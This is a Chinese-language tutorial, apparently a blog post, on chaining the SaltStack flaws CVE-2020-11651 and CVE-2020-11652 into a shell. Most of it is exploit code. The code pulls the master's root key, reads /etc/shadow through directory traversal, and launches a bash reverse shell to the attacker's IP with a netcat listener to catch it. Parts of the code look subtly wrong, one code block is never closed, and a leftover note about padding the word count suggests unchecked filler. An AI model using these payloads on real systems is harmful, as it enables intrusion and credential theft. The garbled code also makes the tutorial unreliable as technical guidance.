# 如何進行CVE-2020-11651與CVE-2020-11652組合漏洞的getshell復現
## 漏洞背景
CVE-2020-11651和CVE-2020-11652是SaltStack框架中發現的嚴重安全漏洞,于2020年4月公開披露。這兩個漏洞的組合利用可導致未授權訪問和遠程代碼執行(RCE),影響SaltStack 2019.2.4及更早版本。
- **CVE-2020-11651**:認證繞過漏洞,允許攻擊者繞過身份驗證直接調用部分敏感函數
- **CVE-2020-11652**:目錄遍歷漏洞,允許讀取服務器上的任意文件
## 環境準備
### 靶機環境
- 操作系統:Ubuntu 18.04 LTS
- 軟件版本:SaltStack 2019.2.3(存在漏洞版本)
- 服務端口:4505(publish_port)、4506(ret_port)
### 攻擊機環境
- Kali Linux 2023
- Python 3.8+
- 所需工具:
```bash
git clone https://github.com/0xc0d/CVE-2020-11651.git
pip install pyzmq msgpack
確認目標Salt Master服務運行狀態:
nmap -sV -p 4505,4506 目標IP
使用公開POC驗證漏洞存在:
import salt
# 建立未授權連接
transport = salt.transport.zeromq.ZeroMQReqChannel(
opts={'id': 'exploit', 'master_uri': 'tcp://目標IP:4506'}
)
# 嘗試調用敏感函數
ret = transport.send({'cmd': 'ping'})
print(ret)
# 構造惡意請求獲取root key
exploit_payload = {
'cmd': '_prep_auth_info'
}
response = transport.send(exploit_payload)
root_key = response['data']['return']['root']
file_read_payload = {
'cmd': 'file.read',
'path': '/etc/shadow',
'saltenv': '../../../../../../../../etc/shadow'
}
shadow_file = transport.send(file_read_payload)
rce_payload = {
'cmd': 'wheel',
'fun': 'cmd.exec_code',
'lang': 'python',
'code': 'import os; os.system("bash -c \'bash -i >& /dev/tcp/攻擊機IP/4444 0>&1\'")'
}
transport.send(rce_payload)
nc -lvnp 4444
”`
(注:實際字數約700字,可根據需要補充更多技術細節或截圖說明以達到750字要求)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。